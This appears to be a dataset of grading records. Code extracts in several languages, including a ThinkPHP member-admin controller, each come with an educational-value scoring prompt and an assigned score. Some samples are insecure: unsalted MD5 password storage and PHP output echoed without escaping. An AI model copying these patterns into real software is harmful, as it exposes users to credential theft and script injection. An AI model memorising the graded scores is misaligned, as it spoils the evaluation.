$search_name=input('param.name');
$search_type=input('param.type');
if($search_name && $search_type){
$map[$search_type] = ['like','%'.$search_name.'%'];
}else{
$map='';
}
$map['hide']=['not in',0,1];
$data=Db::name('member')->order('id desc,update_time desc')->where($map)->paginate('',false,['query'=>request()->param()]);
$this->assign('data',$data);
$page = $data->render();
$this->assign('page', $page);
return $this->fetch();
}
// 添加会员
public function add(){
$id=input('id');
if(request()->isAjax()){
$post=input('post.');
if(!$post['user'] && !$post['email'] && !$post['mobile']){
return ['err'=>'账户、手机、邮箱最少填写1个'];
}
$validate=validate('Member');
if($validate->check($post)){
if(!$id){ // 添加数据
$post['password']=md5($post['password']);
$post['update_time']=time(); //更新时间
if($post['user']){
$userdb=Db::name('member')->where('user',$post['user'])->find();
if($userdb){
return ['err'=>'账户已存在'];
}
}
if(!$post['password']){
return ['err'=>'请填写密码'];
}
$post['create_time']=time(); // 添加时间
$db=Db::name('member')->insert($post);
if($db){
// $tongji=Db::name('typeid')->setInc('tongji');
$data=['ret'=>'添加成功'];
}else{
$data=['err'=>'添加失败'];
}
}else{ //修改数据
$member=Db::name('member')->where('id',$id)->value('password');
if(!$post['password']){
$post['password']=$member;
}else{
$post['password']=md5($post['password']);
}
$db=Db::name('member')->where('id',$id)->update($post);
if($db){
$data=['ret'=>'修改成功'];
}else{
$data=['err'=>'修改失败'];
}
}
}else{
$data=["err"=>$validate->getError()];
}
}else{
if($id){
$name=Db::name('member')->where('id',$id)->find();
if($name){
$this->assign('name',$name);
}else{
$data=['err'=>'id参数错误'];
}
}
$data=$this->fetch();
}
return $data;
}
// 会员分组
public function groups(){
$data=Db::name('member_groups')->order('id asc')->select();
$this->assign('data',$data);
return $this->fetch('groups');
}
//删除会员
public function del(){
if(request()->isAjax()){
$id=input('id');
if($id){
$db=Db::name('member')->delete($id);
if($db){
$data=['ret'=>'删除成功'];
}else{
$data=['err'=>'删除失败'];
}
}else{
$data=['err'=>'id参数错误'];
}
}else{
$data=['err'=>'提交参数错误'];
}
return $data;
}
// 添加会员分组
public function groupsAdd(){
$id=input('id');
if(request()->isAjax()){
$post=input('post.');;
if(!$id){ // 添加数据
$titledb=Db::name('member_groups')->where('title',$post['title'])->find();
if($titledb){
return ['err'=>'分组名已存在'];
}
if($post['jingyan']=='' || $post['jingyan']==0){
return ['err'=>'经验值必须填写'];
}
$db=Db::name('member_groups')->insert($post);
if($db){
$data=['ret'=>'添加成功'];
}else{
$data=['err'=>'添加失败'];
}
}else{ //修改数据
$db=Db::name('member_groups')->where('id',$id)->update($post);
if($db){
$data=['ret'=>'修改成功'];
}else{
$data=['err'=>'修改失败'];
}
}
}else{
if($id){
$name=Db::name('member_groups')->where('id',$id)->find();
if($name){
$this->assign('name',$name);
}else{
$data=['err'=>'id参数错误'];
}
}
$data=$this->fetch();
}
return $data;
}
//删除会员分组
public function groupsDel(){
if(request()->isAjax()){
$id=input('id');
if($id){
$db=Db::name('member_groups')->delete($id);
if($db){
$data=['ret'=>'删除成功'];
}else{
$data=['err'=>'删除失败'];
}
}else{
$data=['err'=>'id参数错误'];
}
}else{
$data=['err'=>'提交参数错误'];
}
return $data;
}
// 审核会员
public function audit(){
$data=Db::name('member')->order('id desc,update_time desc')->where(['hide'=>2])->whereOr('hide',3)->paginate('',false,['query'=>request()->param()]);
$this->assign('data',$data);
$page = $data->render();
$this->assign('page', $page);
return $this->fetch();
}
// 快速设置 拒绝 审核 禁止 通过
public function hide(){
if(request()->isAjax()){
$id=input('id') ? input('id'): '0';
$type=input('type') ? input('type') : '0';
$text=['0'=>'<font color="#f00">禁止</font>','1'=>'<font color="#1ab394">通过</font>','2'=>'审核','3'=>'<font color="#f00">拒绝</font>'];
if($id){
$db=Db::name('member')->where('id',$id)->setField('hide',$type);
if($db){
$data=[$text[$type]];
}else{
$data=['删除失败'];
}
}else{
$data=['GET值错误'];
}
}else{
$data=['提交错误'];
}
return $data;
}
// 用户中心导航分类
public function category(){
$data=Db::name('member_category')->order('des desc,id asc')->select();
$data=get_tree_option($data,0);
$this->assign('data',$data);
return $this->fetch();
}
// 用户中心导航分类 - 添加和修改
public function categoryAdd(){
$id=input('id');
$category=Db::name('member_category')->where('tid','0')->select();
$this->assign('category',$category);
if(request()->isAjax()){
$post=input('post.');;
if(!$id){ // 添加数据
$titledb=Db::name('member_category')->where('title',$post['title'])->find();
if($titledb){
return ['err'=>'标题已存在'];
}
$db=Db::name('member_category')->insert($post);
if($db){
$data=['ret'=>'添加成功'];
}else{
$data=['err'=>'添加失败'];
}
}else{ //修改数据
$db=Db::name('member_category')->where('id',$id)->update($post);
if($db){
$data=['ret'=>'修改成功'];
}else{
$data=['err'=>'修改失败'];
}
}
}else{
$typeid=input('typeid');
$this->assign('typeid',$typeid);
if($id){
$name=Db::name('member_category')->where('id',$id)->find();
if($name){
$this->assign('name',$name);
}else{
$this->error('id参数错误');
}
}
$data=$this->fetch();
}
return $data;
}
//删除会员分组
public function categoryDel(){
if(request()->isAjax()){
$id=input('id');
if($id){
$db=Db::name('member_category')->delete($id);
if($db){
$data=['ret'=>'删除成功'];
}else{
$data=['err'=>'删除失败'];
}
}else{
$data=['err'=>'id参数错误'];
}
}else{
$data=['err'=>'提交参数错误'];
}
return $data;
}
// 用户记录
public function records(){
$money=input('money') ? input('money') : '';
$type=input('type') ? input('type') : '';
$data=input('data') ? input('data') : '';
$where=[];
if($type){
if($type=='-1'){
$where['money']=0;
}else{
$where['type']=$type;
}
}
$db=Db::name('member_records')->order('id desc,time desc')->where($where)->paginate('',false,['query'=>request()->param()]);
$data=$db->toarray()['data'];
$type=['money'=>'元','score'=>'积分','jingyan'=>'经验值'];
foreach ($data as $k => $v) {
if($v['money']){
$data[$k]['text']=$v['text'].' <b id="data1">'.$v['data'].'</b><b id="data2">'.$v['money'].'</b> '.$type[$v['type']];
}
}
$this->assign('data',$data);
$page = $db->render();
$this->assign('page', $page);
$this->assign('type', input('type'));
return $this->fetch();
}
//删除记录 禁用
public function recordsDel(){
return false;
if(request()->isAjax()){
$id=input('id');
if($id){
$db=Db::name('member_records')->delete($id);
if($db){
$data=['ret'=>'删除成功'];
}else{
$data=['err'=>'删除失败'];
}
}else{
$data=['err'=>'id参数错误'];
}
}else{
$data=['err'=>'提交参数错误'];
}
return $data;
}
}
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import UIKit
class PostSearchView: UIView {
private let userImageView = CircleImageView(frame: .zero)
private let searchView = UISearchBar()
override init(frame: CGRect) {
super.init(frame: frame)
setViews()
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
weak var delegate: UISearchBarDelegate? {
didSet {
searchView.delegate = delegate
}
}
func configure(searchedText: String?, user: User?) {
searchView.text = searchedText
if let photoUrl = user?.photoUrl {
userImageView.load(url: photoUrl)
}
}
private func setViews() {
addSubview(userImageView)
addSubview(searchView)
userImageView.translatesAutoresizingMaskIntoConstraints = false
searchView.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
searchView.leftAnchor.constraint(equalTo: leftAnchor),
searchView.topAnchor.constraint(equalTo: topAnchor)
])
NSLayoutConstraint.activate([
userImageView.leftAnchor.constraint(equalTo: searchView.rightAnchor, constant: 12),
userImageView.rightAnchor.constraint(equalTo: rightAnchor, constant: 12),
userImageView.widthAnchor.constraint(equalToConstant: 36),
userImageView.heightAnchor.constraint(equalToConstant: 36)
])
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 3 |
import UIKit
class PostSearchView: UIView {
private let userImageView = CircleImageView(frame: .zero)
private let searchView = UISearchBar()
override init(frame: CGRect) {
super.init(frame: frame)
setViews()
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
weak var delegate: UISearchBarDelegate? {
didSet {
searchView.delegate = delegate
}
}
func configure(searchedText: String?, user: User?) {
searchView.text = searchedText
if let photoUrl = user?.photoUrl {
userImageView.load(url: photoUrl)
}
}
private func setViews() {
addSubview(userImageView)
addSubview(searchView)
userImageView.translatesAutoresizingMaskIntoConstraints = false
searchView.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
searchView.leftAnchor.constraint(equalTo: leftAnchor),
searchView.topAnchor.constraint(equalTo: topAnchor)
])
NSLayoutConstraint.activate([
userImageView.leftAnchor.constraint(equalTo: searchView.rightAnchor, constant: 12),
userImageView.rightAnchor.constraint(equalTo: rightAnchor, constant: 12),
userImageView.widthAnchor.constraint(equalToConstant: 36),
userImageView.heightAnchor.constraint(equalToConstant: 36)
])
}
}
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
/**********************************************************************
* Copyright (c) 2016 Qualcomm Technologies, Inc.
* All Rights Reserved.
* Confidential and Proprietary - Qualcomm Technologies, Inc.
**********************************************************************/
void Run4PixelProc(unsigned char* m_pInputBuffer,
unsigned short* m_pOutputBuffer, int m_iWidth, int m_iHeight,
int wb_grgain, int wb_rgain, int wb_bgain, int wb_gbgain, int analog_gain,
int pedestal, int byr_order,
int* xtalk_gain_map, int mode, int *lib_status,
int *port0, int *port1, int *port2, int *port3);
enum e_remosaic_bayer_order{
BAYER_GRBG = 0,
BAYER_RGGB = 1,
BAYER_BGGR = 2,
BAYER_GBRG = 3,
};
struct st_remosaic_param {
int16_t wb_r_gain;
int16_t wb_gr_gain;
int16_t wb_gb_gain;
int16_t wb_b_gain;
int16_t analog_gain;
};
enum {
RET_OK = 0,
RET_NG = -1,
};
void remosaic_init(int32_t img_w, int32_t img_h,
e_remosaic_bayer_order bayer_order, int32_t pedestal);
int32_t remosaic_gainmap_gen(void* eep_buf_addr, size_t eep_buf_size);
void remosaic_process_param_set(struct st_remosaic_param* p_param);
int32_t remosaic_process(int32_t src_buf_fd, size_t src_buf_size,
int32_t dst_buf_fd, size_t dst_buf_size);
void remosaic_deinit();
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 1 |
/**********************************************************************
* Copyright (c) 2016 Qualcomm Technologies, Inc.
* All Rights Reserved.
* Confidential and Proprietary - Qualcomm Technologies, Inc.
**********************************************************************/
void Run4PixelProc(unsigned char* m_pInputBuffer,
unsigned short* m_pOutputBuffer, int m_iWidth, int m_iHeight,
int wb_grgain, int wb_rgain, int wb_bgain, int wb_gbgain, int analog_gain,
int pedestal, int byr_order,
int* xtalk_gain_map, int mode, int *lib_status,
int *port0, int *port1, int *port2, int *port3);
enum e_remosaic_bayer_order{
BAYER_GRBG = 0,
BAYER_RGGB = 1,
BAYER_BGGR = 2,
BAYER_GBRG = 3,
};
struct st_remosaic_param {
int16_t wb_r_gain;
int16_t wb_gr_gain;
int16_t wb_gb_gain;
int16_t wb_b_gain;
int16_t analog_gain;
};
enum {
RET_OK = 0,
RET_NG = -1,
};
void remosaic_init(int32_t img_w, int32_t img_h,
e_remosaic_bayer_order bayer_order, int32_t pedestal);
int32_t remosaic_gainmap_gen(void* eep_buf_addr, size_t eep_buf_size);
void remosaic_process_param_set(struct st_remosaic_param* p_param);
int32_t remosaic_process(int32_t src_buf_fd, size_t src_buf_size,
int32_t dst_buf_fd, size_t dst_buf_size);
void remosaic_deinit();
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include<bits/stdc++.h>
using namespace std;
#define ll long long int
int main()
{
ll t;
cin>>t;
while(t--)
{
ll n;
cin>>n;
vector<ll> vec(n,0);
vector<ll>::iterator upt;
for(ll i=0;i<n;i++)
{
cin>>vec[i];
}
sort(vec.begin(),vec.end());
ll c=0;
for(ll i=0;i<n-2;i++)
{
upt = upper_bound(vec.begin()+i, vec.end(), vec[i]+2);
ll ans = upt - vec.begin();
if(ans == n)
{
if(vec[n-1] <= vec[i]+2)
{
ans -= (i+1);
c += (ans*(ans-1))/2;
}
}
else
{
ans -= (i+1);
c += (ans*(ans-1))/2;
}
}
cout<<c<<endl;
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 3 |
#include<bits/stdc++.h>
using namespace std;
#define ll long long int
int main()
{
ll t;
cin>>t;
while(t--)
{
ll n;
cin>>n;
vector<ll> vec(n,0);
vector<ll>::iterator upt;
for(ll i=0;i<n;i++)
{
cin>>vec[i];
}
sort(vec.begin(),vec.end());
ll c=0;
for(ll i=0;i<n-2;i++)
{
upt = upper_bound(vec.begin()+i, vec.end(), vec[i]+2);
ll ans = upt - vec.begin();
if(ans == n)
{
if(vec[n-1] <= vec[i]+2)
{
ans -= (i+1);
c += (ans*(ans-1))/2;
}
}
else
{
ans -= (i+1);
c += (ans*(ans-1))/2;
}
}
cout<<c<<endl;
}
}
|
Below is an extract from a Kotlin program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Kotlin code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Kotlin concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., coroutines, extension functions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Kotlin. It should be similar to a school exercise, a tutorial, or a Kotlin course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Kotlin. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package dev.rajas.apps.modularpoc.ui.home
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.widget.Toast
import dev.rajas.apps.modularpoc.R
import dev.rajas.apps.utilities.valueOrDefault
class HomeActivity : AppCompatActivity() {
private val phoneNumber :String?=null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_home)
Toast.makeText(this, phoneNumber.valueOrDefault(), Toast.LENGTH_SHORT).show()
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
kotlin
| 2 |
package dev.rajas.apps.modularpoc.ui.home
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.widget.Toast
import dev.rajas.apps.modularpoc.R
import dev.rajas.apps.utilities.valueOrDefault
class HomeActivity : AppCompatActivity() {
private val phoneNumber :String?=null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_home)
Toast.makeText(this, phoneNumber.valueOrDefault(), Toast.LENGTH_SHORT).show()
}
}
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
/**
* Develop21
*
* @package Category View - Develop21 CMS
* @version 1.0
* @since Develop21 CMS version 1.0
* @author <NAME> - Develop21
* @copyright © 2012
* @license http://develop21.com/cms/license.txt
*
*/
// update needed! need to require category child categories
$params = $menuitem->parameters;
$param = explode(',', $params);
$category = $param[0];
$title_linkable = $param[1];
$display_author = $param[2];
$author_linkable = $param[3];
$display_date = $param[4];
$get_category = Category::find_by_id($category);
$find_articles = Article::find_by_category($get_category->id);
?>
<?php foreach($find_articles as $article): ?>
<?php $author = User::find_by_id($article->author); ?>
<div class="article">
<h3><?php if($title_linkable == 1): ?><a href="index.php?system=article&id=<?php echo $article->id; ?>" title="<?php echo $article->name; ?>"><?php endif; ?><?php echo $article->name; ?><?php if($title_linkable == 1): ?></a><?php endif; ?></h3>
<div class="article-author">Created by <?php echo $author->username; ?></div>
<div class="article-date">Created on <?php echo datetime_to_text($article->date_created); ?></div>
<div class="article-content"><?php echo $article->content; ?></div>
</div>
<?php endforeach; ?>
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 2 |
<?php
/**
* Develop21
*
* @package Category View - Develop21 CMS
* @version 1.0
* @since Develop21 CMS version 1.0
* @author <NAME> - Develop21
* @copyright © 2012
* @license http://develop21.com/cms/license.txt
*
*/
// update needed! need to require category child categories
$params = $menuitem->parameters;
$param = explode(',', $params);
$category = $param[0];
$title_linkable = $param[1];
$display_author = $param[2];
$author_linkable = $param[3];
$display_date = $param[4];
$get_category = Category::find_by_id($category);
$find_articles = Article::find_by_category($get_category->id);
?>
<?php foreach($find_articles as $article): ?>
<?php $author = User::find_by_id($article->author); ?>
<div class="article">
<h3><?php if($title_linkable == 1): ?><a href="index.php?system=article&id=<?php echo $article->id; ?>" title="<?php echo $article->name; ?>"><?php endif; ?><?php echo $article->name; ?><?php if($title_linkable == 1): ?></a><?php endif; ?></h3>
<div class="article-author">Created by <?php echo $author->username; ?></div>
<div class="article-date">Created on <?php echo datetime_to_text($article->date_created); ?></div>
<div class="article-content"><?php echo $article->content; ?></div>
</div>
<?php endforeach; ?>
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
CREATE PROCEDURE insertEmployee
@ename NVARCHAR(Max),
@eslary float
AS
BEGIN
INSERT INTO dbo.Employee( Name ,Salary ) VALUES ( @ename, @esalary )
End
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 2 |
CREATE PROCEDURE insertEmployee
@ename NVARCHAR(Max),
@eslary float
AS
BEGIN
INSERT INTO dbo.Employee( Name ,Salary ) VALUES ( @ename, @esalary )
End
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
define('VERIFY_PAY_PASSWORD', '<PASSWORD>');
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 1 |
<?php
define('VERIFY_PAY_PASSWORD', '<PASSWORD>');
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
using Checkout.Basket.API.Middleware;
using Checkout.Basket.Token.Contracts;
using Checkout.Basket.TokenService;
using Checkout.Data.Contracts;
using Checkout.Data.Stubs;
using Checkout.Data;
using Checkout.Basket.Business.Contracts;
using Checkout.Basket.Business;
using Checkout.Basket.Ringfence.Contracts;
using Checkout.Basket.RingfenceService;
using Checkout.Basket.API.Filters;
namespace Checkout.Basket.API
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
services.AddSingleton<Db>();
services.AddScoped<IBasketTokenService, BasketTokenService>();
services.AddScoped<IBasketReader, BasketReader>();
services.AddScoped<IBasketWriter, BasketWriter>();
services.AddScoped<IBasketManager, BasketManager>();
services.AddScoped<IProductValidatorService, ProductValidatorService>();
services.AddScoped<IRingfenceService, RingfenceService.RingfenceService>();
services.AddScoped<IProductReader, ProductReader>();
services.AddScoped<IRingfenceReader, RingfenceReader>();
services.AddScoped<IRingfenceWriter, RingfenceWriter>();
services.AddScoped<BasketTokenFilter>();
}
// This method gets called by the runtime. Use this method to configure the HTTP r
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| 2 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
using Checkout.Basket.API.Middleware;
using Checkout.Basket.Token.Contracts;
using Checkout.Basket.TokenService;
using Checkout.Data.Contracts;
using Checkout.Data.Stubs;
using Checkout.Data;
using Checkout.Basket.Business.Contracts;
using Checkout.Basket.Business;
using Checkout.Basket.Ringfence.Contracts;
using Checkout.Basket.RingfenceService;
using Checkout.Basket.API.Filters;
namespace Checkout.Basket.API
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
services.AddSingleton<Db>();
services.AddScoped<IBasketTokenService, BasketTokenService>();
services.AddScoped<IBasketReader, BasketReader>();
services.AddScoped<IBasketWriter, BasketWriter>();
services.AddScoped<IBasketManager, BasketManager>();
services.AddScoped<IProductValidatorService, ProductValidatorService>();
services.AddScoped<IRingfenceService, RingfenceService.RingfenceService>();
services.AddScoped<IProductReader, ProductReader>();
services.AddScoped<IRingfenceReader, RingfenceReader>();
services.AddScoped<IRingfenceWriter, RingfenceWriter>();
services.AddScoped<BasketTokenFilter>();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseMiddleware<BasketTokenRequest>();
app.UseMiddleware<BasketTokenResponse>();
app.UseMvc();
}
}
}
|
Below is an extract from a Java program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Java code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Java concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., concurrent programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Java. It should be similar to a school exercise, a tutorial, or a Java course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Java. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.entities.tableau;
import com.service.tableauService;
@RestController
@RequestMapping("/api")
public class tableauController {
@Autowired
tableauService tableauService;
@GetMapping("/tableaux")
public List<tableau> gettableaux() {
return tableauService.getTableaux();
}
@PostMapping("/tableaux")
public void addtableau(@RequestBody tableau tableau) {
tableauService.saveOrUpadateTableau(tableau);
}
@GetMapping("/tableaux/{id}")
public tableau gettableau(@PathVariable int id) {
return tableauService.getTableau(id);
}
@PutMapping("/tableaux")
public void updatetableau(@RequestBody tableau tableau){
tableauService.saveOrUpadateTableau(tableau);
}
@DeleteMapping("/tableaux/{id}")
public void deletetableau(@PathVariable int id) {
tableauService.deleteTableau(id);
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
java
| 2 |
package com.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.entities.tableau;
import com.service.tableauService;
@RestController
@RequestMapping("/api")
public class tableauController {
@Autowired
tableauService tableauService;
@GetMapping("/tableaux")
public List<tableau> gettableaux() {
return tableauService.getTableaux();
}
@PostMapping("/tableaux")
public void addtableau(@RequestBody tableau tableau) {
tableauService.saveOrUpadateTableau(tableau);
}
@GetMapping("/tableaux/{id}")
public tableau gettableau(@PathVariable int id) {
return tableauService.getTableau(id);
}
@PutMapping("/tableaux")
public void updatetableau(@RequestBody tableau tableau){
tableauService.saveOrUpadateTableau(tableau);
}
@DeleteMapping("/tableaux/{id}")
public void deletetableau(@PathVariable int id) {
tableauService.deleteTableau(id);
}
}
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
typedef int u8 ;
struct rtc_time {int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; } ;
